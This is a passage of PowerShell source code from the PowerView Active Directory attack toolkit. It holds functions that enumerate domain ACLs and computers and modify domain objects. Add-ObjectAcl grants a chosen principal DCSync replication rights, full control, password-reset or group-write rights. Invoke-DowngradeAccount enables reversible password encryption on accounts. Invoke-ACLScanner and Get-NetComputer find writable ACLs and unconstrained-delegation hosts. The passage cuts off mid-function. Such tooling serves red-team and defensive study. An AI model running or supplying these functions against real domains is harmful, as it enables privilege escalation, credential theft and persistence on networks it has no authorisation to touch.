2863 Only return results with the associated rights, "All", "ResetPassword","WriteMembers"
2864 .PARAMETER Domain
2865 The domain to use for the query, defaults to the current domain.
2866 .PARAMETER DomainController
2867 Domain controller to reflect LDAP queries through.
2868 .PARAMETER PageSize
2869 The PageSize to set for the LDAP searcher object.
2870 .EXAMPLE
2871 PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
2872
2873 Get the ACLs for the matt.admin user in the testlab.local domain
2874 .EXAMPLE
2875 PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
2876
2877 Get the ACLs for the matt.admin user in the testlab.local domain and
2878 resolve relevant GUIDs to their display names.
2879 .EXAMPLE
2880 PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs
2881 Enumerate the ACL permissions for all OUs in the domain.
2882#>
2883
2884 [CmdletBinding()]
2885 Param (
2886 [Parameter(ValueFromPipelineByPropertyName=$True)]
2887 [String]
2888 $SamAccountName,
2889
2890 [Parameter(ValueFromPipelineByPropertyName=$True)]
2891 [String]
2892 $Name = "*",
2893
2894 [Parameter(ValueFromPipelineByPropertyName=$True)]
2895 [String]
2896 $DistinguishedName = "*",
2897
2898 [Switch]
2899 $ResolveGUIDs,
2900
2901 [String]
2902 $Filter,
2903
2904 [String]
2905 $ADSpath,
2906
2907 [String]
2908 $ADSprefix,
2909
2910 [String]
2911 [ValidateSet("All","ResetPassword","WriteMembers")]
2912 $RightsFilter,
2913
2914 [String]
2915 $Domain,
2916
2917 [String]
2918 $DomainController,
2919
2920 [ValidateRange(1,10000)]
2921 [Int]
2922 $PageSize = 200
2923 )
2924
2925 begin {
2926 $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
2927
2928 # get a GUID -> name mapping
2929 if($ResolveGUIDs) {
2930 $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
2931 }
2932 }
2933
2934 process {
2935
2936 if ($Searcher) {
2937
2938 if($SamAccountName) {
2939 $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
2940 }
2941 else {
2942 $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
2943 }
2944
2945 try {
2946 $Results = $Searcher.FindAll()
2947 $Results | Where-Object {$_} | ForEach-Object {
2948 $Object = [adsi]($_.path)
2949
2950 if($Object.distinguishedname) {
2951 $Access = $Object.PsBase.ObjectSecurity.access
2952 $Access | ForEach-Object {
2953 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
2954
2955 if($Object.objectsid[0]){
2956 $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
2957 }
2958 else {
2959 $S = $Null
2960 }
2961
2962 $_ | Add-Member NoteProperty 'ObjectSID' $S
2963 $_
2964 }
2965 }
2966 } | ForEach-Object {
2967 if($RightsFilter) {
2968 $GuidFilter = Switch ($RightsFilter) {
2969 "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
2970 "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
2971 Default { "00000000-0000-0000-0000-000000000000"}
2972 }
2973 if($_.ObjectType -eq $GuidFilter) { $_ }
2974 }
2975 else {
2976 $_
2977 }
2978 } | ForEach-Object {
2979 if($GUIDs) {
2980 # if we're resolving GUIDs, map them them to the resolved hash table
2981 $AclProperties = @{}
2982 $_.psobject.properties | ForEach-Object {
2983 if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
2984 try {
2985 $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
2986 }
2987 catch {
2988 $AclProperties[$_.Name] = $_.Value
2989 }
2990 }
2991 else {
2992 $AclProperties[$_.Name] = $_.Value
2993 }
2994 }
2995 New-Object -TypeName PSObject -Property $AclProperties
2996 }
2997 else { $_ }
2998 }
2999 $Results.dispose()
3000 $Searcher.dispose()
3001 }
3002 catch {
3003 Write-Warning $_
3004 }
3005 }
3006 }
3007}
3008
3009
3010function Add-ObjectAcl {
3011<#
3012 .SYNOPSIS
3013 Adds an ACL for a specific active directory object.
3014
3015 AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)
3016 https://adsecurity.org/?p=1906
3017 ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.
3018 'ResetPassword' doesn't need to know the user's current password
3019 'WriteMembers' allows for the modification of group membership
3020 .PARAMETER TargetSamAccountName
3021 Target object name to filter for.
3022 .PARAMETER TargetName
3023 Target object name to filter for.
3024 .PARAMETER TargetDistinguishedName
3025 Target object distinguished name to filter for.
3026 .PARAMETER TargetFilter
3027 A customized ldap filter string to use to find a target, e.g. "(description=*admin*)"
3028 .PARAMETER TargetADSpath
3029 The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3030 .PARAMETER TargetADSprefix
3031 Prefix to set for the target searcher (like "CN=Sites,CN=Configuration")
3032 .PARAMETER PrincipalSID
3033 The SID of the principal object to add for access.
3034 .PARAMETER PrincipalName
3035 The name of the principal object to add for access.
3036 .PARAMETER PrincipalSamAccountName
3037 The samAccountName of the principal object to add for access.
3038 .PARAMETER Rights
3039 Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync"
3040 .PARAMETER Domain
3041 The domain to use for the target query, defaults to the current domain.
3042 .PARAMETER DomainController
3043 Domain controller to reflect LDAP queries through.
3044 .PARAMETER PageSize
3045 The PageSize to set for the LDAP searcher object.
3046 .EXAMPLE
3047 Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john
3048 Grants 'john' all full access rights to the 'matt' account.
3049 .EXAMPLE
3050 Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword
3051 Grants 'john' the right to reset the password for the 'matt' account.
3052 .LINK
3053 https://adsecurity.org/?p=1906
3054
3055 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
3056#>
3057
3058 [CmdletBinding()]
3059 Param (
3060 [String]
3061 $TargetSamAccountName,
3062
3063 [String]
3064 $TargetName = "*",
3065
3066 [Alias('DN')]
3067 [String]
3068 $TargetDistinguishedName = "*",
3069
3070 [String]
3071 $TargetFilter,
3072
3073 [String]
3074 $TargetADSpath,
3075
3076 [String]
3077 $TargetADSprefix,
3078
3079 [String]
3080 [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
3081 $PrincipalSID,
3082
3083 [String]
3084 $PrincipalName,
3085
3086 [String]
3087 $PrincipalSamAccountName,
3088
3089 [String]
3090 [ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
3091 $Rights = "All",
3092
3093 [String]
3094 $RightsGUID,
3095
3096 [String]
3097 $Domain,
3098
3099 [String]
3100 $DomainController,
3101
3102 [ValidateRange(1,10000)]
3103 [Int]
3104 $PageSize = 200
3105 )
3106
3107 begin {
3108 $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize
3109
3110 if($PrincipalSID) {
3111 $ResolvedPrincipalSID = $PrincipalSID
3112 }
3113 else {
3114 $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
3115
3116 if(!$Principal) {
3117 throw "Error resolving principal"
3118 }
3119 $ResolvedPrincipalSID = $Principal.objectsid
3120 }
3121 if(!$ResolvedPrincipalSID) {
3122 throw "Error resolving principal"
3123 }
3124 }
3125
3126 process {
3127
3128 if ($Searcher) {
3129
3130 if($TargetSamAccountName) {
3131 $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
3132 }
3133 else {
3134 $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
3135 }
3136
3137 try {
3138 $Results = $Searcher.FindAll()
3139 $Results | Where-Object {$_} | ForEach-Object {
3140
3141 # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
3142
3143 $TargetDN = $_.Properties.distinguishedname
3144
3145 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
3146 $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
3147 $ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
3148 $ACEs = @()
3149
3150 if($RightsGUID) {
3151 $GUIDs = @($RightsGUID)
3152 }
3153 else {
3154 $GUIDs = Switch ($Rights) {
3155 # ResetPassword doesn't need to know the user's current password
3156 "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
3157 # allows for the modification of group membership
3158 "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
3159 # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
3160 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
3161 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
3162 # when applied to a domain's ACL, allows for the use of DCSync
3163 "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
3164 }
3165 }
3166
3167 if($GUIDs) {
3168 foreach($GUID in $GUIDs) {
3169 $NewGUID = New-Object Guid $GUID
3170 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
3171 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
3172 }
3173 }
3174 else {
3175 # deault to GenericAll rights
3176 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
3177 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
3178 }
3179
3180 Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"
3181
3182 try {
3183 # add all the new ACEs to the specified object
3184 ForEach ($ACE in $ACEs) {
3185 Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
3186 $Object = [adsi]($_.path)
3187 $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
3188 $Object.PsBase.commitchanges()
3189 }
3190 }
3191 catch {
3192 Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
3193 }
3194 }
3195 $Results.dispose()
3196 $Searcher.dispose()
3197 }
3198 catch {
3199 Write-Warning "Error: $_"
3200 }
3201 }
3202 }
3203}
3204
3205
3206function Invoke-ACLScanner {
3207<#
3208 .SYNOPSIS
3209 Searches for ACLs for specifable AD objects (default to all domain objects)
3210 with a domain sid of > -1000, and have modifiable rights.
3211 Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
3212 .PARAMETER SamAccountName
3213 Object name to filter for.
3214 .PARAMETER Name
3215 Object name to filter for.
3216 .PARAMETER DistinguishedName
3217 Object distinguished name to filter for.
3218 .PARAMETER Filter
3219 A customized ldap filter string to use, e.g. "(description=*admin*)"
3220
3221 .PARAMETER ADSpath
3222 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3223 Useful for OU queries.
3224 .PARAMETER ADSprefix
3225 Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
3226 .PARAMETER Domain
3227 The domain to use for the query, defaults to the current domain.
3228 .PARAMETER DomainController
3229 Domain controller to reflect LDAP queries through.
3230 .PARAMETER ResolveGUIDs
3231 Switch. Resolve GUIDs to their display names.
3232 .PARAMETER PageSize
3233 The PageSize to set for the LDAP searcher object.
3234 .EXAMPLE
3235 PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv
3236 Enumerate all modifable ACLs in the current domain, resolving GUIDs to display
3237 names, and export everything to a .csv
3238#>
3239
3240 [CmdletBinding()]
3241 Param (
3242 [Parameter(ValueFromPipeline=$True)]
3243 [String]
3244 $SamAccountName,
3245
3246 [String]
3247 $Name = "*",
3248
3249 [Alias('DN')]
3250 [String]
3251 $DistinguishedName = "*",
3252
3253 [String]
3254 $Filter,
3255
3256 [String]
3257 $ADSpath,
3258
3259 [String]
3260 $ADSprefix,
3261
3262 [String]
3263 $Domain,
3264
3265 [String]
3266 $DomainController,
3267
3268 [Switch]
3269 $ResolveGUIDs,
3270
3271 [ValidateRange(1,10000)]
3272 [Int]
3273 $PageSize = 200
3274 )
3275
3276 # Get all domain ACLs with the appropriate parameters
3277 Get-ObjectACL @PSBoundParameters | ForEach-Object {
3278 # add in the translated SID for the object identity
3279 $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
3280 $_
3281 } | Where-Object {
3282 # check for any ACLs with SIDs > -1000
3283 try {
3284 # TODO: change this to a regex for speedup?
3285 [int]($_.IdentitySid.split("-")[-1]) -ge 1000
3286 }
3287 catch {}
3288 } | Where-Object {
3289 # filter for modifiable rights
3290 ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
3291 }
3292}
3293
3294
3295filter Get-GUIDMap {
3296<#
3297 .SYNOPSIS
3298 Helper to build a hash table of [GUID] -> resolved names
3299 Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
3300 .PARAMETER Domain
3301
3302 The domain to use for the query, defaults to the current domain.
3303 .PARAMETER DomainController
3304
3305 Domain controller to reflect LDAP queries through.
3306 .PARAMETER PageSize
3307 The PageSize to set for the LDAP searcher object.
3308 .LINK
3309 http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
3310#>
3311
3312 [CmdletBinding()]
3313 Param (
3314 [Parameter(ValueFromPipeline=$True)]
3315 [String]
3316 $Domain,
3317
3318 [String]
3319 $DomainController,
3320
3321 [ValidateRange(1,10000)]
3322 [Int]
3323 $PageSize = 200
3324 )
3325
3326 $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
3327
3328 $SchemaPath = (Get-NetForest).schema.name
3329
3330 $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
3331 if($SchemaSearcher) {
3332 $SchemaSearcher.filter = "(schemaIDGUID=*)"
3333 try {
3334 $Results = $SchemaSearcher.FindAll()
3335 $Results | Where-Object {$_} | ForEach-Object {
3336 # convert the GUID
3337 $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
3338 }
3339 $Results.dispose()
3340 $SchemaSearcher.dispose()
3341 }
3342 catch {
3343 Write-Verbose "Error in building GUID map: $_"
3344 }
3345 }
3346
3347 $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
3348 if ($RightsSearcher) {
3349 $RightsSearcher.filter = "(objectClass=controlAccessRight)"
3350 try {
3351 $Results = $RightsSearcher.FindAll()
3352 $Results | Where-Object {$_} | ForEach-Object {
3353 # convert the GUID
3354 $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
3355 }
3356 $Results.dispose()
3357 $RightsSearcher.dispose()
3358 }
3359 catch {
3360 Write-Verbose "Error in building GUID map: $_"
3361 }
3362 }
3363
3364 $GUIDs
3365}
3366
3367
3368function Get-NetComputer {
3369<#
3370 .SYNOPSIS
3371 This function utilizes adsisearcher to query the current AD context
3372 for current computer objects. Based off of Carlos Perez's Audit.psm1
3373 script in Posh-SecMod (link below).
3374 .PARAMETER ComputerName
3375 Return computers with a specific name, wildcards accepted.
3376 .PARAMETER SPN
3377 Return computers with a specific service principal name, wildcards accepted.
3378 .PARAMETER OperatingSystem
3379 Return computers with a specific operating system, wildcards accepted.
3380 .PARAMETER ServicePack
3381 Return computers with a specific service pack, wildcards accepted.
3382 .PARAMETER Filter
3383 A customized ldap filter string to use, e.g. "(description=*admin*)"
3384 .PARAMETER Printers
3385 Switch. Return only printers.
3386 .PARAMETER Ping
3387 Switch. Ping each host to ensure it's up before enumerating.
3388 .PARAMETER FullData
3389 Switch. Return full computer objects instead of just system names (the default).
3390 .PARAMETER Domain
3391 The domain to query for computers, defaults to the current domain.
3392 .PARAMETER DomainController
3393 Domain controller to reflect LDAP queries through.
3394 .PARAMETER ADSpath
3395 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3396 Useful for OU queries.
3397
3398 .PARAMETER SiteName
3399 The AD Site name to search for computers.
3400 .PARAMETER Unconstrained
3401 Switch. Return computer objects that have unconstrained delegation.
3402 .PARAMETER PageSize
3403 The PageSize to set for the LDAP searcher object.
3404 .PARAMETER Credential
3405 A [Management.Automation.PSCredential] object of alternate credentials
3406 for connection to the target domain.
3407 .EXAMPLE
3408 PS C:\> Get-NetComputer
3409
3410 Returns the current computers in current domain.
3411 .EXAMPLE
3412 PS C:\> Get-NetComputer -SPN mssql*
3413
3414 Returns all MS SQL servers on the domain.
3415 .EXAMPLE
3416 PS C:\> Get-NetComputer -Domain testing
3417
3418 Returns the current computers in 'testing' domain.
3419 .EXAMPLE
3420 PS C:\> Get-NetComputer -Domain testing -FullData
3421
3422 Returns full computer objects in the 'testing' domain.
3423 .LINK
3424 https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
3425#>
3426
3427 [CmdletBinding()]
3428 Param (
3429 [Parameter(ValueFromPipeline=$True)]
3430 [Alias('HostName')]
3431 [String]
3432 $ComputerName = '*',
3433
3434 [String]
3435 $SPN,
3436
3437 [String]
3438 $OperatingSystem,
3439
3440 [String]
3441 $ServicePack,
3442
3443 [String]
3444 $Filter,
3445
3446 [Switch]
3447 $Printers,
3448
3449 [Switch]
3450 $Ping,
3451
3452 [Switch]
3453 $FullData,
3454
3455 [String]
3456 $Domain,
3457
3458 [String]
3459 $DomainController,
3460
3461 [String]
3462 $ADSpath,
3463
3464 [String]
3465 $SiteName,
3466
3467 [Switch]
3468 $Unconstrained,
3469
3470 [ValidateRange(1,10000)]
3471 [Int]
3472 $PageSize = 200,
3473
3474 [Management.Automation.PSCredential]
3475 $Credential
3476 )
3477
3478 begin {
3479 # so this isn't repeated if multiple computer names are passed on the pipeline
3480 $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
3481 }
3482
3483 process {
3484
3485 if ($CompSearcher) {
3486
3487 # if we're checking for unconstrained delegation
3488 if($Unconstrained) {
3489 Write-Verbose "Searching for computers with for unconstrained delegation"
3490 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
3491 }
3492 # set the filters for the seracher if it exists
3493 if($Printers) {
3494 Write-Verbose "Searching for printers"
3495 # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
3496 $Filter += "(objectCategory=printQueue)"
3497 }
3498 if($SPN) {
3499 Write-Verbose "Searching for computers with SPN: $SPN"
3500 $Filter += "(servicePrincipalName=$SPN)"
3501 }
3502 if($OperatingSystem) {
3503 $Filter += "(operatingsystem=$OperatingSystem)"
3504 }
3505 if($ServicePack) {
3506 $Filter += "(operatingsystemservicepack=$ServicePack)"
3507 }
3508 if($SiteName) {
3509 $Filter += "(serverreferencebl=$SiteName)"
3510 }
3511
3512 $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
3513 Write-Verbose "Get-NetComputer filter : '$CompFilter'"
3514 $CompSearcher.filter = $CompFilter
3515
3516 try {
3517 $Results = $CompSearcher.FindAll()
3518 $Results | Where-Object {$_} | ForEach-Object {
3519 $Up = $True
3520 if($Ping) {
3521 # TODO: how can these results be piped to ping for a speedup?
3522 $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
3523 }
3524 if($Up) {
3525 # return full data objects
3526 if ($FullData) {
3527 # convert/process the LDAP fields for each result
3528 $Computer = Convert-LDAPProperty -Properties $_.Properties
3529 $Computer.PSObject.TypeNames.Add('PowerView.Computer')
3530 $Computer
3531 }
3532 else {
3533 # otherwise we're just returning the DNS host name
3534 $_.properties.dnshostname
3535 }
3536 }
3537 }
3538 $Results.dispose()
3539 $CompSearcher.dispose()
3540 }
3541 catch {
3542 Write-Warning "Error: $_"
3543 }
3544 }
3545 }
3546}
3547
3548
3549function Get-ADObject {
3550<#
3551 .SYNOPSIS
3552 Takes a domain SID and returns the user, group, or computer object
3553 associated with it.
3554 .PARAMETER SID
3555 The SID of the domain object you're querying for.
3556 .PARAMETER Name
3557 The Name of the domain object you're querying for.
3558 .PARAMETER SamAccountName
3559 The SamAccountName of the domain object you're querying for.
3560 .PARAMETER Domain
3561 The domain to query for objects, defaults to the current domain.
3562 .PARAMETER DomainController
3563 Domain controller to reflect LDAP queries through.
3564 .PARAMETER ADSpath
3565 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3566 Useful for OU queries.
3567 .PARAMETER Filter
3568 Additional LDAP filter string for the query.
3569 .PARAMETER ReturnRaw
3570 Switch. Return the raw object instead of translating its properties.
3571 Used by Set-ADObject to modify object properties.
3572 .PARAMETER PageSize
3573 The PageSize to set for the LDAP searcher object.
3574 .PARAMETER Credential
3575 A [Management.Automation.PSCredential] object of alternate credentials
3576 for connection to the target domain.
3577 .EXAMPLE
3578 PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
3579
3580 Get the domain object associated with the specified SID.
3581
3582 .EXAMPLE
3583 PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
3584
3585 Get the AdminSDHolder object for the testlab.local domain.
3586#>
3587
3588 [CmdletBinding()]
3589 Param (
3590 [Parameter(ValueFromPipeline=$True)]
3591 [String]
3592 $SID,
3593
3594 [String]
3595 $Name,
3596
3597 [String]
3598 $SamAccountName,
3599
3600 [String]
3601 $Domain,
3602
3603 [String]
3604 $DomainController,
3605
3606 [String]
3607 $ADSpath,
3608
3609 [String]
3610 $Filter,
3611
3612 [Switch]
3613 $ReturnRaw,
3614
3615 [ValidateRange(1,10000)]
3616 [Int]
3617 $PageSize = 200,
3618
3619 [Management.Automation.PSCredential]
3620 $Credential
3621 )
3622 process {
3623 if($SID) {
3624 # if a SID is passed, try to resolve it to a reachable domain name for the searcher
3625 try {
3626 $Name = Convert-SidToName $SID
3627 if($Name) {
3628 $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
3629 if($Canonical) {
3630 $Domain = $Canonical.split("/")[0]
3631 }
3632 else {
3633 Write-Warning "Error resolving SID '$SID'"
3634 return $Null
3635 }
3636 }
3637 }
3638 catch {
3639 Write-Warning "Error resolving SID '$SID' : $_"
3640 return $Null
3641 }
3642 }
3643
3644 $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3645
3646 if($ObjectSearcher) {
3647 if($SID) {
3648 $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
3649 }
3650 elseif($Name) {
3651 $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
3652 }
3653 elseif($SamAccountName) {
3654 $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
3655 }
3656
3657 $Results = $ObjectSearcher.FindAll()
3658 $Results | Where-Object {$_} | ForEach-Object {
3659 if($ReturnRaw) {
3660 $_
3661 }
3662 else {
3663 # convert/process the LDAP fields for each result
3664 Convert-LDAPProperty -Properties $_.Properties
3665 }
3666 }
3667 $Results.dispose()
3668 $ObjectSearcher.dispose()
3669 }
3670 }
3671}
3672
3673
3674function Set-ADObject {
3675<#
3676 .SYNOPSIS
3677 Takes a SID, name, or SamAccountName to query for a specified
3678 domain object, and then sets a specified 'PropertyName' to a
3679 specified 'PropertyValue'.
3680 .PARAMETER SID
3681 The SID of the domain object you're querying for.
3682 .PARAMETER Name
3683 The Name of the domain object you're querying for.
3684 .PARAMETER SamAccountName
3685 The SamAccountName of the domain object you're querying for.
3686 .PARAMETER Domain
3687 The domain to query for objects, defaults to the current domain.
3688 .PARAMETER DomainController
3689 Domain controller to reflect LDAP queries through.
3690 .PARAMETER Filter
3691 Additional LDAP filter string for the query.
3692 .PARAMETER PropertyName
3693 The property name to set.
3694 .PARAMETER PropertyValue
3695 The value to set for PropertyName
3696 .PARAMETER PropertyXorValue
3697 Integer value to binary xor (-bxor) with the current int value.
3698 .PARAMETER ClearValue
3699 Switch. Clear the value of PropertyName
3700 .PARAMETER PageSize
3701 The PageSize to set for the LDAP searcher object.
3702 .PARAMETER Credential
3703 A [Management.Automation.PSCredential] object of alternate credentials
3704 for connection to the target domain.
3705 .EXAMPLE
3706 PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
3707
3708 Set the countrycode for matt.admin to 0
3709 .EXAMPLE
3710 PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536
3711
3712 Set the password not to expire on matt.admin
3713#>
3714
3715 [CmdletBinding()]
3716 Param (
3717 [String]
3718 $SID,
3719
3720 [String]
3721 $Name,
3722
3723 [String]
3724 $SamAccountName,
3725
3726 [String]
3727 $Domain,
3728
3729 [String]
3730 $DomainController,
3731
3732 [String]
3733 $Filter,
3734
3735 [Parameter(Mandatory = $True)]
3736 [String]
3737 $PropertyName,
3738
3739 $PropertyValue,
3740
3741 [Int]
3742 $PropertyXorValue,
3743
3744 [Switch]
3745 $ClearValue,
3746
3747 [ValidateRange(1,10000)]
3748 [Int]
3749 $PageSize = 200,
3750
3751 [Management.Automation.PSCredential]
3752 $Credential
3753 )
3754
3755 $Arguments = @{
3756 'SID' = $SID
3757 'Name' = $Name
3758 'SamAccountName' = $SamAccountName
3759 'Domain' = $Domain
3760 'DomainController' = $DomainController
3761 'Filter' = $Filter
3762 'PageSize' = $PageSize
3763 'Credential' = $Credential
3764 }
3765 # splat the appropriate arguments to Get-ADObject
3766 $RawObject = Get-ADObject -ReturnRaw @Arguments
3767
3768 try {
3769 # get the modifiable object for this search result
3770 $Entry = $RawObject.GetDirectoryEntry()
3771
3772 if($ClearValue) {
3773 Write-Verbose "Clearing value"
3774 $Entry.$PropertyName.clear()
3775 $Entry.commitchanges()
3776 }
3777
3778 elseif($PropertyXorValue) {
3779 $TypeName = $Entry.$PropertyName[0].GetType().name
3780
3781 # UAC value references- https://support.microsoft.com/en-us/kb/305144
3782 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
3783 $Entry.$PropertyName = $PropertyValue -as $TypeName
3784 $Entry.commitchanges()
3785 }
3786
3787 else {
3788 $Entry.put($PropertyName, $PropertyValue)
3789 $Entry.setinfo()
3790 }
3791 }
3792 catch {
3793 Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
3794 }
3795}
3796
3797
3798function Invoke-DowngradeAccount {
3799<#
3800 .SYNOPSIS
3801 Set reversible encryption on a given account and then force the password
3802 to be set on next user login. To repair use "-Repair".
3803 .PARAMETER SamAccountName
3804 The SamAccountName of the domain object you're querying for.
3805 .PARAMETER Name
3806 The Name of the domain object you're querying for.
3807 .PARAMETER Domain
3808 The domain to query for objects, defaults to the current domain.
3809 .PARAMETER DomainController
3810 Domain controller to reflect LDAP queries through.
3811 .PARAMETER Filter
3812 Additional LDAP filter string for the query.
3813 .PARAMETER Repair
3814 Switch. Unset the reversible encryption flag and force password reset flag.
3815 .PARAMETER Credential
3816 A [Management.Automation.PSCredential] object of alternate credentials
3817 for connection to the target domain.
3818 .EXAMPLE
3819 PS> Invoke-DowngradeAccount -SamAccountName jason
3820 Set reversible encryption on the 'jason' account and force the password to be changed.
3821 .EXAMPLE
3822 PS> Invoke-DowngradeAccount -SamAccountName jason -Repair
3823 Unset reversible encryption on the 'jason' account and remove the forced password change.
3824#>
3825
3826 [CmdletBinding()]
3827 Param (
3828 [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
3829 [String]
3830 $SamAccountName,
3831
3832 [Parameter(ParameterSetName = 'Name')]
3833 [String]
3834 $Name,
3835
3836 [String]
3837 $Domain,
3838
3839 [String]
3840 $DomainController,
3841
3842 [String]
3843 $Filter,
3844
3845 [Switch]
3846 $Repair,
3847
3848 [Management.Automation.PSCredential]
3849 $Credential
3850 )
3851
3852 process {
3853 $Arguments = @{
3854 'SamAccountName' = $SamAccountName
3855 'Name' = $Name
3856 'Domain' = $Domain
3857 'DomainController' = $DomainController
3858 'Filter' = $Filter
3859 'Credential' = $Credential
3860 }
3861
3862 # splat the appropriate arguments to Get-ADObject
3863 $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
3864
3865 if($Repair) {
3866
